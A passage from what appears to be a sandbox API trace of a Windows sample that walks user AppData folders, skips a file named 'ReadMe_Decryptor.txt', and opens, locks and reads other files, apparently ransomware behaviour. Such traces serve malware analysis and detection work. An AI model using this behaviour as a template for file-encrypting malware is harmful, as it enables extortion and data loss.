ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 1 [0035.553] lstrcmpW (lpString1="DQQ19BCJ.JAX", lpString2=".") returned 1 [0035.553] lstrcmpW (lpString1="DQQ19BCJ.JAX", lpString2="..") returned 1 [0035.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d588 [0035.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5cc9d8 [0035.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa6) returned 0x60cdc0 [0035.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc9d8 | out: hHeap=0x5b0000) returned 1 [0035.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0035.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0035.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x5cc9d8 [0035.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5cc550 [0035.554] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0035.554] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.554] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.554] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.554] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.554] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 1 [0035.554] lstrcmpW (lpString1="YVORLGOR.PNT", lpString2=".") returned 1 [0035.554] lstrcmpW (lpString1="YVORLGOR.PNT", lpString2="..") returned 1 [0035.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d588 [0035.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x601838 [0035.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd6) returned 0x60ce70 [0035.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0035.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0035.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0035.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x60cf50 [0035.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5cc550 [0035.554] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0035.710] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.710] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.711] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.712] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.712] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", cAlternateFileName="CLICEX~1.000")) returned 1 [0035.712] lstrcmpW (lpString1="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", lpString2=".") returned 1 [0035.712] lstrcmpW (lpString1="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", lpString2="..") returned 1 [0035.712] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x601838 [0035.712] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x5d1760 [0035.712] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d1808 [0035.712] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0035.712] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0035.712] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0035.712] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5cc550 [0035.712] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x60c798 [0035.712] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0035.924] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.924] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.925] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.925] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.925] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1 [0035.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0035.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.925] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 0 [0035.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x6105c0 [0035.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0035.925] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0035.926] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0035.926] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.926] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1 [0035.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0035.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.926] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 0 [0035.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0035.926] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0035.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0035.926] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1 [0035.926] lstrcmpW (lpString1="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", lpString2=".") returned 1 [0035.926] lstrcmpW (lpString1="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", lpString2="..") returned 1 [0035.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5d1760 [0035.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x601838 [0035.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5cc550 [0035.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0035.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1808 | out: hHeap=0x5b0000) returned 1 [0035.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0035.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5cc668 [0035.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d1760 [0035.926] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0036.192] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0036.192] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.192] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0036.192] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0036.192] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a307ea0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe", cAlternateFileName="CLICKO~1.EXE")) returned 1 [0036.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0036.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.193] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x42d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe.cdf-ms", cAlternateFileName="")) returned 1 [0036.193] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c7b58 [0036.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0036.193] lstrcmpW (lpString1="clickonce_bootstrap.exe.cdf-ms", lpString2="ReadMe_Decryptor.txt") returned -1 [0036.193] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0036.193] GetFileSize (in: hFile=0x270, lpFileSizeHigh=0x18e680 | out: lpFileSizeHigh=0x18e680*=0x0) returned 0x42d0 [0036.193] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x43e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0036.193] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0036.193] ReadFile (in: hFile=0x270, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0036.380] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0036.380] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x42d0, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x42d0, lpOverlapped=0x0) returned 1 [0036.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0036.381] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0036.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0036.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0036.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0036.448] GetLastError () returned 0x0 [0036.448] SetLastError (dwErrCode=0x0) [0036.448] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0036.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0036.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb8c8 [0036.448] GetLastError () returned 0x0 [0036.448] SetLastError (dwErrCode=0x0) [0036.448] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0036.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0036.448] GetLastError () returned 0x0 [0036.448] SetLastError (dwErrCode=0x0) [0036.448] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0036.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0036.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0036.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0036.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0036.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0036.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x2240060 [0036.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0036.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x669238 [0036.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240060 | out: hHeap=0x5b0000) returned 1 [0036.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0036.450] GetLastError () returned 0x0 [0036.450] SetLastError (dwErrCode=0x0) [0036.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0036.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0036.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0036.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0036.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0036.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0036.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x60c798 [0036.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x60c8a0 [0036.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0036.450] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0036.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0036.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0036.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0036.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0036.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0036.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0036.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0036.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0036.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0036.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0036.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d1978 [0036.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0036.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1978 | out: hHeap=0x5b0000) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x6105c0 [0036.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x610708 [0036.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d2850 [0036.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x610708 | out: hHeap=0x5b0000) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0036.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, 